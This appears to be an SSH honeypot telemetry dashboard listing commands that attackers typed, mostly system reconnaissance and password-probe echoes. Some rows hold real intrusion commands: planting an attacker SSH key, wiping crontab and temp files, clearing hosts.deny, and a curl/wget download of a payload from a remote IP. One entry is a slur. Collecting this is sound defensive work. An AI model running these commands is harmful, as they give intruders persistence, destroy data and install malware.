sshoney · ssh honeypot telemetry

Commands run
124,257
Distinct
2,053
Shown
300

What attackers typed

commandtimes ↓sessionssource ipslast seen
echo -e "\x6F\x6B"8,4618,46112026-08-23 09:52:19
uname -s -v -n -r -m7,8687,868152026-08-27 03:15:42
uname -m | awk '{printf $1}'7,8537,853132026-08-27 03:15:45
nproc7,6437,643132026-08-27 03:15:52
lspci | egrep VGA && lspci | grep 3D7,6387,638132026-08-27 03:15:57
nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 17,6217,621132026-08-27 03:16:13
nvidia-smi -q | grep "Product Name"7,6157,615132026-08-27 03:16:19
uname -n | awk '{printf $1}'7,6057,605132026-08-27 03:16:30
uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }'7,6007,600122026-08-27 03:15:48
uname -r | awk '{printf $1}'7,5987,598132026-08-27 03:16:36
lscpu | egrep "Model name:" | cut -d ' ' -f 14-7,3837,383122026-08-27 03:16:02
curl ipinfo.io/org7,3797,379122026-08-27 03:16:08
lspci | egrep VGA | grep Radeon | wc -l | head -c 17,3627,362122026-08-27 03:16:24
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/de2,815704112026-08-27 11:05:10
crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $21,9691,969122026-08-27 03:16:29
uname -m1,0401,0401242026-08-27 14:10:33
cd ~; chattr -ia .ssh; lockr -ia .ssh9069061372026-08-27 14:12:25
whoami8867931232026-08-27 14:10:37
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8d8338331312026-08-27 14:10:20
uname -a8078071352026-08-27 14:10:36
cat /proc/cpuinfo | grep name | wc -l8018011242026-08-27 14:10:26
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'7947941232026-08-27 14:10:29
crontab -l7947941242026-08-27 14:10:31
cat /proc/cpuinfo | grep model | grep name | wc -l7937931232026-08-27 14:10:34
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'7937931232026-08-27 14:10:29
ls -lh $(which ls)7937931232026-08-27 14:10:30
top7937931232026-08-27 14:10:34
uname7937931232026-08-27 14:10:35
w7937931232026-08-27 14:10:32
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'7927921222026-08-27 14:10:39
lscpu | grep Model7927921222026-08-27 14:10:38
cat /var/tmp/.systemcache43662138496912026-08-26 05:47:10
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkil300300572026-08-27 14:10:28
/bin/./uname -s -v -n -r -m26326312026-08-27 14:06:22
lspci | grep VGA -c26126112026-08-27 14:06:24
lspci | grep VGA | cut -f5- -d ' '26126112026-08-27 14:06:23
nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'26126112026-08-27 14:06:24
uptime -p26126112026-08-27 14:06:23
lspci | grep "3D controller" | cut -f5- -d ' '26026012026-08-27 14:06:24
nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c26026012026-08-27 14:06:24
echo 123456 > /tmp/d.log244244102026-08-27 03:11:59
echo "1" > /var/tmp/.systemcache4366219696912026-08-26 05:47:09
rm -rf /var/tmp/dota*9696912026-08-26 05:47:06
sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWD9696912026-08-26 05:47:10
echo 123 > /tmp/d.log7676102026-08-27 03:11:31
echo 1234 > /tmp/d.log6565102026-08-27 02:39:09
echo 12345678 > /tmp/d.log3939102026-08-27 02:30:11
echo 1 > /tmp/d.log383892026-08-26 13:44:57
echo root > /tmp/d.log272792026-08-27 02:51:29
25322026-08-25 20:56:47
echo password > /tmp/d.log212172026-08-26 12:02:22
echo 12345 > /tmp/d.log191962026-08-27 01:59:24
``` @everyone17112026-08-20 15:20:48
echo omm > /tmp/d.log1010102026-08-27 02:22:45
echo wizard > /tmp/d.log101092026-08-27 03:00:15
echo wso2 > /tmp/d.log101092026-08-27 01:53:52
cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai9332026-08-26 11:32:59
echo 123456789 > /tmp/d.log9972026-08-27 02:02:05
echo 1qaz2wsx > /tmp/d.log9962026-08-27 01:58:39
echo Changeme_123 > /tmp/d.log9992026-08-27 02:34:14
echo ali > /tmp/d.log9992026-08-27 02:12:36
echo ark > /tmp/d.log9982026-08-27 02:37:35
echo cursor > /tmp/d.log9992026-08-27 02:27:53
echo drcomadmin123 > /tmp/d.log9982026-08-27 03:08:17
echo gg > /tmp/d.log9992026-08-27 02:28:46
echo grid > /tmp/d.log9992026-08-27 03:14:08
echo kafka > /tmp/d.log9992026-08-27 02:42:44
echo kevin > /tmp/d.log9992026-08-27 03:13:47
echo kipt > /tmp/d.log9992026-08-27 02:20:02
echo mcserver > /tmp/d.log9992026-08-27 02:14:22
echo odoo > /tmp/d.log9962026-08-27 02:27:37
echo osmc > /tmp/d.log9982026-08-27 02:10:47
echo packer > /tmp/d.log9992026-08-27 01:56:45
echo potok > /tmp/d.log9992026-08-27 02:48:14
echo rock > /tmp/d.log9982026-08-27 02:19:50
echo test > /tmp/d.log9962026-08-27 02:23:46
echo uploader > /tmp/d.log9992026-08-27 01:53:05
echo vpn > /tmp/d.log9992026-08-27 01:55:34
echo vyos > /tmp/d.log9992026-08-27 03:10:29
/ip cloud print8862026-08-24 09:46:56
cat /proc/cpuinfo8862026-08-24 09:46:59
echo 51nGleD > /tmp/d.log8872026-08-27 02:26:42
echo Hi | cat -n8862026-08-24 09:47:15
echo agent > /tmp/d.log8882026-08-26 13:09:49
echo aiuser > /tmp/d.log8882026-08-27 02:26:56
echo amine > /tmp/d.log8882026-08-27 02:59:28
echo angel > /tmp/d.log8882026-08-27 02:52:35
echo arthur > /tmp/d.log8882026-08-27 02:16:35
echo bernard > /tmp/d.log8882026-08-27 02:19:06
echo calvin > /tmp/d.log8882026-08-27 03:05:18
echo centreon > /tmp/d.log8882026-08-27 02:12:55
echo clawdbot > /tmp/d.log8882026-08-27 02:24:41
echo config > /tmp/d.log8882026-08-27 03:08:45
echo csgo > /tmp/d.log8882026-08-27 02:10:40
echo customer > /tmp/d.log8872026-08-27 02:48:57
echo daniel > /tmp/d.log8882026-08-27 02:32:08
echo demo > /tmp/d.log8882026-08-27 02:02:22
echo devuser > /tmp/d.log8882026-08-27 02:30:28
echo dspace > /tmp/d.log8882026-08-27 01:59:37
echo fahmi > /tmp/d.log8882026-08-27 03:06:33
echo gpadmin > /tmp/d.log8882026-08-27 02:52:57
echo hamed > /tmp/d.log8882026-08-27 02:00:14
echo jack > /tmp/d.log8882026-08-26 14:02:47
echo kali > /tmp/d.log8882026-08-27 02:45:13
echo lucas > /tmp/d.log8882026-08-27 02:35:03
echo manoj123 > /tmp/d.log8882026-08-27 02:25:26
echo mohammad > /tmp/d.log8882026-08-27 03:09:47
echo monitor > /tmp/d.log8882026-08-27 02:20:57
echo nutanix/4u > /tmp/d.log8882026-08-27 03:13:00
echo odoo16 > /tmp/d.log8872026-08-27 02:01:35
echo onkar123 > /tmp/d.log8872026-08-27 01:57:19
echo pi > /tmp/d.log8872026-08-27 02:05:33
echo playground > /tmp/d.log8882026-08-27 02:33:36
echo rancher > /tmp/d.log8882026-08-26 12:28:22
echo redhat > /tmp/d.log8862026-08-27 02:01:12
echo tomcat > /tmp/d.log8882026-08-27 03:11:33
echo toor > /tmp/d.log8872026-08-26 14:18:05
echo user10 > /tmp/d.log8882026-08-27 02:34:13
echo user4 > /tmp/d.log8882026-08-27 02:40:49
echo vagrant > /tmp/d.log8882026-08-26 12:09:39
echo webmaster > /tmp/d.log8882026-08-27 02:52:24
ifconfig8862026-08-24 09:46:58
locate D877F783D5D3EF8Cs8862026-08-24 09:47:14
ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUS8862026-08-24 09:47:12
ps -ef | grep '[Mm]iner'8862026-08-24 09:47:10
ps | grep '[Mm]iner'8862026-08-24 09:47:07
echo 123123 > /tmp/d.log7742026-08-26 12:34:43
echo P@ssw0rd > /tmp/d.log7772026-08-27 03:14:48
echo admin123 > /tmp/d.log7772026-08-27 02:21:08
echo airflow > /tmp/d.log7772026-08-27 02:59:31
echo amir > /tmp/d.log7772026-08-27 02:19:33
echo backup > /tmp/d.log7772026-08-27 02:46:52
echo bitrix > /tmp/d.log7772026-08-27 02:14:29
echo christianna > /tmp/d.log7762026-08-27 01:53:20
echo default > /tmp/d.log7772026-08-27 03:04:19
echo dolphinscheduler > /tmp/d.log7772026-08-27 01:59:00
echo elasticsearch@1234 > /tmp/d.log7772026-08-26 12:02:40
echo erpnext > /tmp/d.log7772026-08-27 03:04:56
echo fred > /tmp/d.log7772026-08-27 02:15:27
echo gabriel > /tmp/d.log7762026-08-27 02:06:09
echo ghost > /tmp/d.log7772026-08-27 03:12:49
echo gns3 > /tmp/d.log7772026-08-27 02:42:30
echo hduser > /tmp/d.log7772026-08-27 02:37:51
echo ivan > /tmp/d.log7762026-08-27 02:30:16
echo jakob > /tmp/d.log7772026-08-26 12:14:16
echo jay > /tmp/d.log7772026-08-27 02:55:59
echo lighthouse > /tmp/d.log7772026-08-27 02:55:09
echo localhost > /tmp/d.log7772026-08-27 03:16:14
echo martin > /tmp/d.log7772026-08-27 02:54:31
echo nvidia > /tmp/d.log7772026-08-27 02:05:44
echo odoo14 > /tmp/d.log7772026-08-27 02:13:29
echo oscar > /tmp/d.log7772026-08-27 02:17:11
echo parsa > /tmp/d.log7772026-08-27 02:45:52
echo passwd > /tmp/d.log7752026-08-27 01:53:11
echo ranga > /tmp/d.log7772026-08-27 01:59:49
echo reza > /tmp/d.log7772026-08-26 13:54:55
echo tactical > /tmp/d.log7772026-08-27 02:57:08
echo teamspeak > /tmp/d.log7762026-08-27 03:13:39
echo term2 > /tmp/d.log7772026-08-27 02:40:57
echo test1 > /tmp/d.log7772026-08-27 02:21:06
echo test2 > /tmp/d.log7772026-08-27 01:58:45
echo usuario > /tmp/d.log7762026-08-27 02:04:09
echo worker > /tmp/d.log7772026-08-27 02:41:04
echo www > /tmp/d.log7772026-08-27 03:12:25
echo zabbix > /tmp/d.log7772026-08-27 03:13:21
echo 111111 > /tmp/d.log6632026-08-22 12:33:19
echo Asalem > /tmp/d.log6662026-08-27 03:00:23
echo admins > /tmp/d.log6662026-08-27 02:18:13
echo ansible > /tmp/d.log6662026-08-27 02:23:05
echo dev > /tmp/d.log6652026-08-27 02:21:14
echo edge > /tmp/d.log6662026-08-27 02:16:18
echo esroot > /tmp/d.log6652026-08-27 02:07:04
echo fastuser > /tmp/d.log6662026-08-26 11:51:00
echo fivem > /tmp/d.log6662026-08-27 03:04:35
echo joel > /tmp/d.log6662026-08-27 03:16:35
echo labuser > /tmp/d.log6662026-08-27 01:59:22
echo mc > /tmp/d.log6662026-08-27 02:11:55
echo odoo17 > /tmp/d.log6662026-08-26 05:46:07
echo openvpn > /tmp/d.log6662026-08-26 05:40:36
echo orange > /tmp/d.log6662026-08-27 02:38:41
echo qwerty > /tmp/d.log6642026-08-27 02:43:37
echo recorder > /tmp/d.log6662026-08-27 03:04:32
echo super > /tmp/d.log6662026-08-27 02:37:57
echo system > /tmp/d.log6662026-08-27 02:59:26
echo user3 > /tmp/d.log6662026-08-27 02:34:36
LC_ALL=C lscpu | awk -F: '/Model name/ {gsub(/^[ \t]+/, "", $2); print $2; exit}'5522026-08-24 04:02:09
chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.5522026-08-27 06:27:48
echo Caps > /tmp/d.log5552026-08-27 02:06:40
echo Passw0rd > /tmp/d.log5552026-08-26 05:46:54
echo almalinux > /tmp/d.log5552026-08-27 03:08:34
echo codex > /tmp/d.log5552026-08-27 02:43:50
echo elrond > /tmp/d.log5552026-08-26 13:56:56
echo factorio > /tmp/d.log5552026-08-27 02:07:54
echo hummingbot > /tmp/d.log5552026-08-27 03:07:33
echo init > /tmp/d.log5552026-08-27 02:37:27
echo kelly > /tmp/d.log5552026-08-27 01:55:51
echo kingbase > /tmp/d.log5552026-08-25 01:01:21
echo kubernetes > /tmp/d.log5552026-08-27 02:55:54
echo marcu1 > /tmp/d.log5552026-08-27 02:20:26
echo milad > /tmp/d.log5552026-08-26 05:58:03
echo operator00 > /tmp/d.log5552026-08-26 12:26:01
echo operator2026 > /tmp/d.log5552026-08-27 02:09:39
echo oracle123 > /tmp/d.log5552026-08-26 12:54:42
echo qw > /tmp/d.log5552026-08-27 02:26:52
echo rootroot > /tmp/d.log5542026-08-22 12:29:56
echo sedu > /tmp/d.log5552026-08-27 02:57:30
echo service > /tmp/d.log5552026-08-27 02:46:59
echo tempuser > /tmp/d.log5552026-08-27 03:07:40
exit5512026-08-20 15:42:07
ls5212026-08-20 15:38:40
nproc 2>/dev/null || grep -c ^processor /proc/cpuinfo5522026-08-24 04:02:04
nvidia-smi -q | grep "Attached GPUs" | awk '{print $4}' && echo '' || echo 'No'5522026-08-24 04:02:14
nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9}' || echo 'No'5522026-08-24 04:02:12
uname -s -m5552026-08-25 10:39:06
uptime 2>/dev/null | awk -F'( up |,|load)' '{gsub(/^[ \t]+|[ \t]+$/,"",$2); print $2}' | head -n15522026-08-24 04:02:07
cut -d' ' -f1 /proc/uptime4442026-08-26 11:32:53
echo 1q2w3e4r > /tmp/d.log4422026-08-20 19:14:14
echo abc123 > /tmp/d.log4442026-08-27 02:17:00
echo admin2 > /tmp/d.log4442026-08-26 13:55:30
echo appuser > /tmp/d.log4442026-08-26 12:32:40
echo azureuser > /tmp/d.log4442026-08-26 05:43:43
echo bot > /tmp/d.log4442026-08-27 02:07:38
echo crafty > /tmp/d.log4442026-08-26 05:38:36
echo dani > /tmp/d.log4442026-08-27 02:07:20
echo data > /tmp/d.log4442026-08-26 12:31:58
echo dmdba > /tmp/d.log4442026-08-26 05:44:14
echo doris > /tmp/d.log4442026-08-26 13:36:34
echo guest123 > /tmp/d.log4442026-08-26 12:12:09
echo hadoop > /tmp/d.log4442026-08-26 12:47:52
echo hadoop123 > /tmp/d.log4442026-08-26 05:36:26
echo master > /tmp/d.log4442026-08-25 00:44:15
echo milad123 > /tmp/d.log4442026-08-27 02:06:56
echo mysql123 > /tmp/d.log4442026-08-27 02:04:53
echo nexus > /tmp/d.log4442026-08-26 12:52:30
echo oracle > /tmp/d.log4442026-08-27 02:13:59
echo p@ssw0rd > /tmp/d.log4432026-08-21 12:44:05
echo postgres > /tmp/d.log4442026-08-27 02:00:14
echo runner > /tmp/d.log4442026-08-27 01:57:44
echo sam > /tmp/d.log4442026-08-25 01:44:50
echo splunk > /tmp/d.log4442026-08-27 02:03:57
echo tom > /tmp/d.log4442026-08-27 02:48:33
echo trader > /tmp/d.log4442026-08-26 12:42:32
echo ts3 > /tmp/d.log4432026-08-27 02:03:26
echo user > /tmp/d.log4422026-08-20 18:35:11
echo vncuser > /tmp/d.log4442026-08-26 13:43:29
nproc4442026-08-26 11:32:53
ps -eo pid,pcpu,comm --sort=-pcpu | head -n 104442026-08-26 11:32:55
FAGGOT!3112026-08-20 15:18:41
cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats3112026-08-20 11:21:58
curl -sSL http://103.160.59.94:28816/CZRmrtxnrNONBXhwfFeqjNfBrliNaShG -o ~/.sysmonitor 2>/dev/null || wget -qO3312026-08-21 04:43:28
echo Password1 > /tmp/d.log3332026-08-26 12:10:27
echo Wangsu@2017 > /tmp/d.log3332026-08-27 02:21:40
echo ZAQ!xsw2 > /tmp/d.log3332026-08-26 11:51:27
echo a > /tmp/d.log3332026-08-21 13:10:54
echo alex > /tmp/d.log3332026-08-27 02:17:03
echo amin > /tmp/d.log3332026-08-27 02:34:36
echo asdf1234 > /tmp/d.log3322026-08-26 12:37:57
echo asterisk > /tmp/d.log3332026-08-21 13:01:34
echo avax > /tmp/d.log3332026-08-21 12:50:06
echo bob > /tmp/d.log3332026-08-27 02:17:25
echo chris > /tmp/d.log3332026-08-21 13:31:41
echo cloud > /tmp/d.log3332026-08-26 05:46:30
echo cw > /tmp/d.log3332026-08-21 13:18:24
echo docker123 > /tmp/d.log3332026-08-21 13:50:03
echo dolphinscheduler123 > /tmp/d.log3332026-08-26 06:27:20
echo ec2-user > /tmp/d.log3332026-08-27 02:38:33
echo ecommerce > /tmp/d.log3332026-08-21 13:50:44
echo esuser > /tmp/d.log3332026-08-27 02:37:19
echo ethan > /tmp/d.log3332026-08-21 13:28:29
echo frank > /tmp/d.log3332026-08-21 13:09:39
echo gary > /tmp/d.log3332026-08-21 13:43:16
echo gateway > /tmp/d.log3332026-08-21 12:53:56
echo gitlab-runner > /tmp/d.log3332026-08-26 06:27:46
echo guest > /tmp/d.log3332026-08-27 02:10:21
echo jenkins > /tmp/d.log3332026-08-26 05:35:10
echo karel > /tmp/d.log3332026-08-21 13:21:56
echo kim123 > /tmp/d.log3332026-08-21 12:58:54
echo media > /tmp/d.log3332026-08-24 09:27:22
echo minecraft > /tmp/d.log3332026-08-26 06:03:02
echo modzmodz > /tmp/d.log3322026-08-27 01:53:36
echo node > /tmp/d.log3332026-08-26 12:21:10
echo phuvanduc > /tmp/d.log3332026-08-21 13:42:04
echo plex > /tmp/d.log3332026-08-21 13:19:43
echo portal > /tmp/d.log3332026-08-21 12:47:34
echo private > /tmp/d.log3332026-08-21 13:22:22
echo rdpuser > /tmp/d.log3332026-08-26 05:47:03
echo security > /tmp/d.log3332026-08-21 13:27:54
echo sftpuser > /tmp/d.log3332026-08-27 02:54:11
echo sonar > /tmp/d.log3332026-08-21 12:54:05
echo stack > /tmp/d.log3332026-08-21 13:36:19
echo steam > /tmp/d.log3332026-08-27 02:32:22
echo tester > /tmp/d.log3332026-08-27 02:18:25
echo testuser > /tmp/d.log3332026-08-26 05:39:53
echo tom123 > /tmp/d.log3332026-08-26 12:11:59
echo trinity > /tmp/d.log3332026-08-21 12:58:12
echo user1 > /tmp/d.log3332026-08-27 01:57:57
echo vm > /tmp/d.log3332026-08-21 12:48:54
echo webuser > /tmp/d.log3332026-08-27 02:57:30
echo worker123 > /tmp/d.log3332026-08-25 01:29:03
echo xiao > /tmp/d.log3332026-08-21 13:33:54
Click a command to see the sessions that ran it. Sorting and searching run over all 124,257 captured commands.